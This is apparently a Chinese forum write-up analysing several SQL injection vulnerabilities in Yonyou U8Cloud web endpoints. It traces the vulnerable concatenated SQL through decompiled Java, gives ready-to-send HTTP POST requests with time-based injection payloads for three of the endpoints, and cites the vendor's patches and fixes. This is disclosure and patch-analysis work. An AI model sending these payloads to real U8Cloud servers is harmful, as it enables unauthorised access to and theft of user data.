用友U8Cloud 几个sql注入分析
ttest 发表于 浙江 漏洞分析 2504浏览 · 2024-01-09 09:54

KeyWordDetailReportQuery和KeyWordReportQuery接口存在SQL注入

漏洞描述

攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。

漏洞分析

KeyWordDetailReportQuery类:

接收json数据后,传入queryReportDetailByCondition方法处理,versionint 为 int 类型,reportTypewords参数可控。

继续getDeatailReportSql方法

private String getDeatailReportSql(String usercode, String reportType, int version, KeyWordVO[] words) {
        String keyWordSql = this.getSqlByKeyword(words, "rep");
        StringBuffer sb = new StringBuffer();
        sb.append(" select rep.reportformid ");
        sb.append(" from iufo_reportform rep left join iufo_user_report userrep on rep.reportformid = userrep.reportformid");
        sb.append(" where ");
        sb.append(" userrep.usercode = '" + usercode + "'");
        sb.append(" and rep.reporttype = '" + reportType + "'");
        sb.append(" and rep.version = " + version);
        sb.append(" and " + keyWordSql);
        return sb.toString();
    }

拼接sql 后返回,executeQuery方法执行拼接后的sql。

KeyWordReportQuery类

代码差不多,只不过传参需要改一下。

漏洞复现

KeyWordDetailReportQuery接口:

POST /service/~iufo/nc.itf.iufo.mobilereport.data.KeyWordDetailReportQuery HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

{"reportType":"1';waitfor delay '0:0:3'-- ","keyword":[]}

或者用通用 ic 模块,当然 用友的路由把 service换成servlet也是可以的。

POST /service/~ic/nc.itf.iufo.mobilereport.data.KeyWordDetailReportQuery HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

{"reportType":"1';waitfor delay '0:0:3'-- ","keyword":[]}

KeyWordReportQuery接口:

POST /service/~iufo/nc.itf.iufo.mobilereport.data.KeyWordReportQuery HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

{"reportType":"1';waitfor delay '0:0:3'-- ","pageInfo":{"currentPageIndex":1,"pageSize":1},"keyword":[]}

漏洞修复

补丁地址: https://security.yonyou.com/#/noticeInfo?id=471

进行过滤



AppPhoneServletService接口存在SQL注入

漏洞描述

攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。

漏洞分析

nc.pubitf.erm.mobile.appservice.AppPhoneServletService

默认账套编码为 U8cloud ,所以传参accountCode: U8cloud
modulemethod参数满足条件即可。
phone参数存在注入,很明显的拼接。

private Map<String, Object> getUserInfoByPhone(String phone) throws BusinessException {
        String sql = "SELECT s.cuserid as cuserid, b.mobile as mobile, b.email as email, s.user_code as user_code, s.user_name as user_name,d.PK_DEPTDOC as pk_dept,d.DEPTNAME as deptname, a.PSNCODE as pcode,o.PK_CORP as pk_org, o.UNITNAME as orgname,b.id from sm_user s INNER JOIN SM_USERANDCLERK c on s.CUSERID = c.USERID INNER JOIN  BD_psndoc a  on  a.PK_PSNBASDOC = c.PK_PSNDOC INNER JOIN BD_PSNBASDOC b on a.PK_PSNBASDOC = b.PK_PSNBASDOC INNER JOIN BD_DEPTDOC d on a.PK_DEPTDOC = d.PK_DEPTDOC INNER JOIN BD_CORP o on o.PK_CORP = a.PK_CORP where b.mobile = '" + phone + "'";
        BaseDAO dao = new BaseDAO();
        Map<String, Object> returnMap = new HashMap();

        try {
            List<Object[]> userInfos = (List)dao.executeQuery(sql, new ArrayListProcessor());

漏洞复现

漏洞修复

补丁: https://security.yonyou.com/#/noticeInfo?id=467

检测单引号。

String module = filterStr(request.getParameter("module"));
        String method = filterStr(request.getParameter("method"));
        String phone = filterStr(request.getParameter("phone"));
        if(!SQLParamValidator.validate(phone)){
            returnErrorMsg(response, "invalid parameter");
            return;
        }

ReportDetailDataQuery接口存在SQL注入

漏洞描述

攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。

漏洞分析

nc.itf.iufo.mobilereport.data.ReportDetailDataQuery

这里formPK 获取了两遍 ?
formPK 可控,跟进dataQuery.queryVO

public ReportDataVO queryVO(String formid) throws BusinessException {
        IMobileQueryService formService = (IMobileQueryService)NCLocator.getInstance().lookup(IMobileQueryService.class);
        ReportFormVO parentvo = formService.queryVOByPk(formid);
        IReportMeasureService measureService = (IReportMeasureService)NCLocator.getInstance().lookup(IReportMeasureService.class);
        ReportMeasureVO[] measureVOs = measureService.queryMeasureVOs(formid);
        ReportDataVO dataVO = new ReportDataVO();
        dataVO.setParentVO(parentvo);
        dataVO.setChildVOs(measureVOs);
        return dataVO;
    }

跟进formService.queryVOByPk

public ReportFormVO queryVOByPk(String reportformid) throws BusinessException {
        String sql = " reportformid ='" + reportformid + "'";
        BaseDAO dao = BaseDAOUtil.createDao();
        Collection<ReportFormVO> vos = dao.retrieveByClause(ReportFormVO.class, sql);
        ReportFormVO[] froms = (ReportFormVO[])vos.toArray(new ReportFormVO[0]);
        return froms[0];
    }

这里构造了一个sql 条件,

最终到达

public Collection retrieveByClause(Class className, String condition, String[] fields, SQLParameter parameters) throws DbException {
        BaseProcessor processor = new BeanListProcessor(className);
        return (Collection)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
    }

condition可控,buildSql 方法内构造 where ,从而引发sql注入。

private String buildSql(Class className, String condition, String[] fields) {
        SuperVO vo = (SuperVO)this.InitClass(className);
        String pkName = vo.getPKFieldName();
        boolean hasPKField = false;
        StringBuffer buffer = new StringBuffer();
        String tableName = vo.getTableName();
        if (fields == null) {
            buffer.append("SELECT * FROM ").append(tableName);
        } else {
            buffer.append("SELECT ");

            for(int i = 0; i < fields.length; ++i) {
                buffer.append(fields[i]).append(",");
                if (fields[i].equalsIgnoreCase(pkName)) {
                    hasPKField = true;
                }
            }

            if (!hasPKField) {
                buffer.append(pkName).append(",");
            }

            buffer.setLength(buffer.length() - 1);
            buffer.append(" FROM ").append(tableName);
        }

        if (condition != null && condition.length() != 0) {
            if (condition.toUpperCase().trim().startsWith("ORDER ")) {
                buffer.append(" ").append(condition);
            } else {
                buffer.append(" WHERE ").append(condition);
            }
        }

        return buffer.toString();
    }

漏洞复现

POST /service/~iufo/nc.itf.iufo.mobilereport.data.ReportDetailDataQuery HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

{"reportid":"1';waitfor delay '0:0:4'--"}

漏洞修复

补丁地址: https://security.yonyou.com/#/noticeInfo?id=465

formPK = (String) requestMap.get("reportid");
//防SQL注入
DataParamValidator.validate(formPK);

public static void validate(String param) throws ServletException{
    if(param.contains("'")){
        throw new ServletException("invalid parameter");
    }
}

ArchiveVerify接口存在SQL注入

漏洞描述

攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。

漏洞分析

web.xml

<servlet> 
 <servlet-name>ArchiveVerify</servlet-name>
  <servlet-class>nc.ele.service.ArchiveVerify</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>ArchiveVerify</servlet-name>
  <url-pattern>/u8cuapws/rest/archive/verify</url-pattern>
</servlet-mapping>


参数可控,让其执行到queryGlOrgBookVO

public static GlorgbookVO queryGlOrgBookVO(String orgbookCode) throws BusinessException {
        BaseDAO baseDao = new BaseDAO();
        GlorgbookVO[] glorgbookVOS = (GlorgbookVO[])baseDao.queryVOs(GlorgbookVO.class, " isnull(dr,0) = 0 and glorgbookcode = '" + orgbookCode + "'");
        if (glorgbookVOS != null && glorgbookVOS.length != 0) {
            return glorgbookVOS[0];
        } else {
            throw new BusinessException("请求全宗编码在U8C中不存在对应的主体账簿");
        }
    }

queryGlOrgBookVO---> queryVOs ,condition 参数是可控的拼接后的sql 条件

public <T> T[] queryVOs(Class<T> className, String condition) throws DAOException {
        PersistenceManager manager = null;
        List<T> values = null;

        try {
            manager = this.createPersistenceManager(this.dataSource);
            values = manager.queryVOList(className, condition);
        } catch (DbException var9) {
            Logger.error(var9.getMessage(), var9);
            throw new DAOException(var9.getMessage());
        } finally {
            if (manager != null) {
                manager.release();
            }

        }

        return values.toArray((Object[])((Object[])Array.newInstance(className, 0)));
    }

一直到

public <T> List<T> queryVOList(Class<T> className, String condition, String[] fields, SQLParameter parameters) throws DbException {
        GenericBeanListProcessor<T> processor = new GenericBeanListProcessor(className);
        return (List)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
    }

漏洞复现

漏洞修复

补丁地址: https://security.yonyou.com/#/patchInfo?identifier=87c28d170c0545b682a8eb65f7e8dddb

public static GlorgbookVO queryGlOrgBookVO(String orgbookCode) throws BusinessException{
        BaseDAO baseDao=new BaseDAO();
        SQLParameter param = new SQLParameter();
        param.addParam(orgbookCode);
//      GlorgbookVO[] glorgbookVOS = baseDao.queryVOs(GlorgbookVO.class, " isnull(dr,0) = 0 and glorgbookcode = '"+orgbookCode+"'");
        Collection<GlorgbookVO> glorgbookVOS = baseDao.retrieveByClause(GlorgbookVO.class, " isnull(dr,0) = 0 and glorgbookcode = ?", param);
        if(glorgbookVOS == null || glorgbookVOS.size() == 0){
            throw new BusinessException("请求全宗编码在U8C中不存在对应的主体账簿");
        }
        for(GlorgbookVO vo:glorgbookVOS){
            return vo;
        }
        throw new BusinessException("请求全宗编码在U8C中不存在对应的主体账簿");
    }
0 条评论
某人
表情
可输入 255